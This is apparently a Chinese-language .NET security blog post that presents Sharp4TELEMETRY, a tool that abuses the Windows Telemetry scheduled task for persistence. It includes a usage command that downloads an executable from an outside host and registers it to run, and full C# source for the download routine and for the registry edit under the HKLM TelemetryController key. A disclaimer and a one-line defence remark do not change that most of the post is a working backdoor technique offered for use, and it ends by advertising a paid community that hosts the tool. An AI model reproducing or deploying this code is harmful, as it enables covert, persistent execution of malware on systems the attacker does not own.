01阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面
02基本介绍
Sharp4TELEMETRY是一款利用Telemetry功能来实现权限维持的工具,通过利用系统自带的遥测计划任务,下载和执行恶意程序来实现持久性。这种技术需要本地管理员权限,具体来说,需要能够写入注册表中的HKLM键权限。
03
使用方法
Telemetry是系统用于收集和发送性能数据和错误报告的机制。然而,恶意攻击者可以利用Telemetry任务的定时执行功能,将其变成一种持久性的后门工具。下面是一个具体的命令示例
Sharp4TELEMETRY.exe install /url:http://8.8.8.8/xxx.exe /path:C:\Windows\Temp\check.ex
简单的来说就是从http://8.8.8.8/xxx.exe下载文件,将下载的文件存储到C:\Windows\Temp\check.exe。接着将下载的文件配置为Telemetry任务中的定时任务,从而实现恶意程序的定时执行。
04代码实现
Download方法从目标URL下载文件,并将其存储到指定路径。下载过程包括进度监控和异常处理,这块处理的过程相当精细化,使用ProgressChanged事件处理下载进度更新,确保每下载1%的进度或下载完成时更新进度,创建并启动下载任务,通过DownloadAsync方法异步下载文件。具体代码如下所示。
public void Download(string target, string Fileto){WaitHandle[] mutexes = new WaitHandle[1];Dictionary<string, ManualResetEvent> downloads = new Dictionary<string, ManualResetEvent>();GidoraDownloader downloader = new GidoraDownloader(true);downloader.ExceptionThrown += delegate(object sender, DownloadExceptionEventArgs eventArgs){};downloader.DownloadCompleted += delegate(object sender, DownloadCompletedEventArgs eventArgs){DownloadResult result = eventArgs.Result;bool flag = !result.FileExists;if (flag){Console.WriteLine("File not found");}downloads[result.FileUrl].Set();};double lastPercent = 0.0;Dictionary<string, double> lastPercents = new Dictionary<string, double>();downloader.ProgressChanged += delegate(object sender, ProgressChangedEventArgs eventArgs){Dictionary<string, double> lastPercents = lastPercents;lock (lastPercents){lastPercent = lastPercents[eventArgs.FileUrl];}double percent = (double)eventArgs.Progress / (double)eventArgs.FileLength * 100.0;bool flag = percent >= lastPercent + 1.0 || eventArgs.Progress == eventArgs.FileLength;if (flag){lastPercent = percent;Dictionary<string, double> lastPercents2 = lastPercents;lock (lastPercents2){lastPercents[eventArgs.FileUrl] = lastPercent;}}};CancellationTokenSource source = new CancellationTokenSource();for (int i = 0; i < 1; i++){mutexes[i] = new ManualResetEvent(false);downloads.Add(target, (ManualResetEvent)mutexes[i]);lastPercents.Add(target, 0.0);downloader.DownloadAsync(target, Fileto, 2, source.Token);}WaitHandle.WaitAll(mutexes);string filePath = new Uri(target).Segments.Last<string>();Console.WriteLine("[>] Download To: " + Fileto + "\r\n");}
Edit
方法负责编辑注册表,将下载的恶意文件配置为Telemetry任务的执行命令,从而实现恶意程序的定时执行。具体代码如下所示。
public void Edit(string Fileto){Console.WriteLine("\r\n[*] Action: Edit Regedit");RegistryKey key = Registry.LocalMachine;RegistryKey software = key.CreateSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\TelemetryController\\Levint");software.SetValue("Command", Fileto);software.SetValue("Nightly", 1, RegistryValueKind.DWord);this.Check();}
创建或打开注册表路径SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\TelemetryController\\Levint,Command设置为恶意文件的路径指定Telemetry任务执行的命令。
这种方法利用了系统的遥测功能,使得恶意程序具有高度的隐蔽性和持久性。为了防止类似的攻击,需要加强对系统任务和注册表的监控,并严格管理本地管理员权限。工具已经打包在星球,感兴趣的朋友可以加入自取。
05推荐阅读
从漏洞分析到安全攻防,我们涵盖了.NET安全各个关键方面,为您呈现最新、最全面的.NET安全知识,下面是公众号发布的精华文章集合,推荐大家阅读!
06.NET安全星球
目前dot.Net安全矩阵星球已成为中国.NET安全领域最知名、最活跃的技术知识库之一,从.NET Framework到.NET Core,每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。
20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。
我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。